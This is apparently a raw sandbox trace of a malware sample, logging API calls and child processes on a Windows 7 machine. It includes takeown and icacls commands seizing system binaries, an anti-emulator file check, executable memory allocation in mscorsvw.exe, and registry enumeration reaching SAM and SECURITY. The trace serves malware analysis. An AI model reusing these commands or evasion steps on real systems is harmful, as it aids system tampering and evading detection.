[0169.557] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd28170 [0169.557] CryptAcquireContextW (in: phProv=0x1b3f79c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1b3f79c*=0x3f86d8) returned 1 [0169.558] CryptCreateHash (in: hProv=0x3f86d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1b3f79c | out: phHash=0x1b3f79c) returned 1 [0169.558] CryptHashData (hHash=0x3dfdd8, pbData=0xd27f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0169.558] CryptGetHashParam (in: hHash=0x3dfdd8, dwParam=0x4, pbData=0x1b3f7a0, pdwDataLen=0x1b3f7ac, dwFlags=0x0 | out: pbData=0x1b3f7a0, pdwDataLen=0x1b3f7ac) returned 1 [0169.558] CryptGetHashParam (in: hHash=0x3dfdd8, dwParam=0x2, pbData=0xd28170, pdwDataLen=0x1b3f7a0, dwFlags=0x0 | out: pbData=0xd28170, pdwDataLen=0x1b3f7a0) returned 1 [0169.558] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd280e0 [0169.558] CryptDestroyHash (hHash=0x3dfdd8) returned 1 [0169.558] CryptReleaseContext (hProv=0x3f86d8, dwFlags=0x0) returned 1 [0169.558] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd28170) returned 1 [0169.558] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd28170 [0169.558] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd281b8 [0169.558] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd28170) returned 1 [0169.558] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd28170 [0169.559] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd28170) returned 1 [0169.559] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd281b8) returned 1 [0169.559] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd280e0) returned 1 [0169.559] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd280e0 [0169.559] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd281b8 [0169.559] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0169.559] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd281b8) returned 1 [0169.559] GetLastError () returned 0x5 [0169.559] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd281b8 [0169.559] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0169.559] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd281b8) returned 1 [0169.559] RtlAllocateHeap (HeapHandle=0x1150000, Flags=0x8, Size=0x40) returned 0xd281b8 [0169.559] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x12c [0169.559] RtlFreeHeap (HeapHandle=0x1150000, Flags=0x0, BaseAddress=0xd281b8) returned 1 [0169.559] SetEvent (hEvent=0x128) returned 1 [0169.559] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) Thread: id = 1060 os_tid = 0x738 Process: id = "60" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x59d91000" os_pid = "0x728" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0002f54d" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 752 os_tid = 0x2ec Thread: id = 753 os_tid = 0x320 Thread: id = 754 os_tid = 0x324 Thread: id = 755 os_tid = 0x5f0 Thread: id = 760 os_tid = 0x4c0 Thread: id = 762 os_tid = 0x66c Process: id = "61" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x5a1c5000" os_pid = "0x2f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 756 os_tid = 0x5fc Thread: id = 757 os_tid = 0x558 Process: id = "62" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x5a6ca000" os_pid = "0x6e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 758 os_tid = 0x68c Process: id = "63" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x574cf000" os_pid = "0x4c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 761 os_tid = 0x420 Thread: id = 763 os_tid = 0x58c Process: id = "64" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x579d4000" os_pid = "0x590" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 764 os_tid = 0x55c Process: id = "65" image_name = "mscorsvw.exe" filename = "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe" page_root = "0x57b97000" os_pid = "0x660" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 765 os_tid = 0x524 [0171.978] GetTimeZoneInformation (in: lpTimeZoneInformation=0x2dfbe0 | out: lpTimeZoneInformation=0x2dfbe0) returned 0x2 [0171.980] GetCurrentProcess () returned 0xffffffff [0171.980] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x2dfbcc | out: lpExitCode=0x2dfbcc*=0x103) returned 1 [0171.980] GetForegroundWindow () returned 0x0 [0171.980] GetCaretBlinkTime () returned 0x1f4 [0171.980] GetFileType (hFile=0xf710cd) returned 0x0 [0171.981] GetConsoleProcessList (in: lpdwProcessList=0x2dfc8c, dwProcessCount=0x1 | out: lpdwProcessList=0x2dfc8c) returned 0x0 [0171.981] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x2dfb98 | out: pcyOut=0x2dfb98) returned 0x0 [0171.981] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0171.982] GetCommState (in: hFile=0x3b268c, lpDCB=0x2dfa00 | out: lpDCB=0x2dfa00) returned 0 [0171.982] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x2df9fc, pmr=0x2df9e8, cht=0x353) returned 0 [0171.982] CloseClipboard () returned 0 [0171.982] CoUninitialize () [0171.982] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0171.982] ReleaseMutex (hMutex=0xa0) returned 0 [0171.982] CloseHandle (hObject=0xa0) returned 1 [0171.982] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0171.982] GetCommState (in: hFile=0x3b268c, lpDCB=0x2dfa00 | out: lpDCB=0x2dfa00) returned 0 [0171.982] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x2df9fc, pmr=0x2df9e8, cht=0x353) returned 0 [0171.982] CloseClipboard () returned 0 [0171.982] CoUninitialize () [0171.982] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0171.982] ReleaseMutex (hMutex=0xa0) returned 0 [0171.982] CloseHandle (hObject=0xa0) returned 1 [0171.982] GetLocalTime (in: lpSystemTime=0x2dfc9c | out: lpSystemTime=0x2dfc9c*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x17, wSecond=0x2d, wMilliseconds=0x14f)) [0171.983] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x2df71c | out: ProcedureAddress=0x2df71c*=0x77011856) returned 0x0 [0171.983] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x90000 [0172.134] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x2df71c | out: ProcedureAddress=0x2df71c*=0x77011856) returned 0x0 [0172.134] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x60000 [0172.135] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x2df7b4 | out: ProcedureAddress=0x2df7b4*=0x770149d7) returned 0x0 [0172.135] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x2df7b4 | out: ProcedureAddress=0x2df7b4*=0x77011222) returned 0x0 [0172.135] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x2df7b4 | out: ProcedureAddress=0x2df7b4*=0x77011856) returned 0x0 [0172.135] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x2df7b4 | out: ProcedureAddress=0x2df7b4*=0x7701435f) returned 0x0 [0172.135] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0172.135] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0172.135] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0172.135] VirtualProtect (in: lpAddress=0x1070000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x2df868 | out: lpflOldProtect=0x2df868*=0x2) returned 1 [0172.145] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x100000 [0172.148] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0172.148] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0172.148] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0172.148] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0172.927] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.940] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xb0000 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x104) returned 0xb07d0 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb08e0 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb0968 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb09f0 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb0a78 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb0b00 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb0b88 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb0c10 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb0c98 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb0d20 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb0da8 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb0e30 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb0eb8 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb0f40 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb0fc8 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb1050 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x80) returned 0xb10d8 [0172.950] RtlAllocateHeap (HeapHandle=0xb0000, Flags=0x8, Size=0x400) returned 0xb1160 [0172.950] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xd50000 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd507d0 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd50858 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd508e0 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x184) returned 0xd50968 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50af8 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50b40 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50b88 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50bd0 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50c18 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50c60 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50ca8 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50cf0 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50d38 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50d80 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50dc8 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50e10 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50e58 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50ea0 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50ee8 [0172.951] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50f30 [0172.951] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2df3a4, nSize=0x1000 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe")) returned 0x3a [0172.953] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd50f78 [0172.953] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2c) returned 0xd5b828 [0172.992] GetVersionExW (in: lpVersionInformation=0x2df9c4*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2df9c4*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0172.992] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x2df9ac | out: Wow64Process=0x2df9ac) returned 1 [0172.992] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2df988 | out: TokenHandle=0x2df988*=0xa0) returned 1 [0172.992] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2df984 | out: TokenInformation=0x0, ReturnLength=0x2df984) returned 0 [0172.992] GetLastError () returned 0x7a [0172.992] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5b860 [0172.992] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0xd5b860, TokenInformationLength=0x58, ReturnLength=0x2df984 | out: TokenInformation=0xd5b860, ReturnLength=0x2df984) returned 1 [0172.992] AllocateAndInitializeSid (in: pIdentifierAuthority=0x2df994, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x2df98c | out: pSid=0x2df98c*=0x332968*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0172.992] EqualSid (pSid1=0x332968*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xd5b884*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0172.992] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b860) returned 1 [0172.992] NtClose (Handle=0xa0) returned 0x0 [0172.992] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5b860 [0172.993] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5b8a8 [0172.995] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x280) returned 0xd5b930 [0172.995] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0173.001] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0xd5b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0173.001] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.001] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bc58 [0173.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0xd5bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0173.002] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bca0 [0173.002] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bc58) returned 1 [0173.002] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bca0) returned 1 [0173.002] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.002] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0xd5b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0173.002] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.002] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bca0 [0173.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0xd5bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0173.002] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bc58 [0173.002] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bca0) returned 1 [0173.002] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bc58) returned 1 [0173.002] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.002] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0xd5b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0173.002] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.002] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bc58 [0173.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0xd5bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0173.002] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bca0 [0173.002] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bc58) returned 1 [0173.002] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bca0) returned 1 [0173.002] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.002] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0xd5b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0173.002] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.002] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bca0 [0173.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0xd5bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0173.002] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bc58 [0173.002] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bca0) returned 1 [0173.002] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bc58) returned 1 [0173.002] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.003] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0xd5b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bc58 [0173.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xd5bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0173.003] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5bca0 [0173.003] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bc58) returned 1 [0173.003] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bca0) returned 1 [0173.003] RtlFreeHeap (HeapHandle=0xd50000, 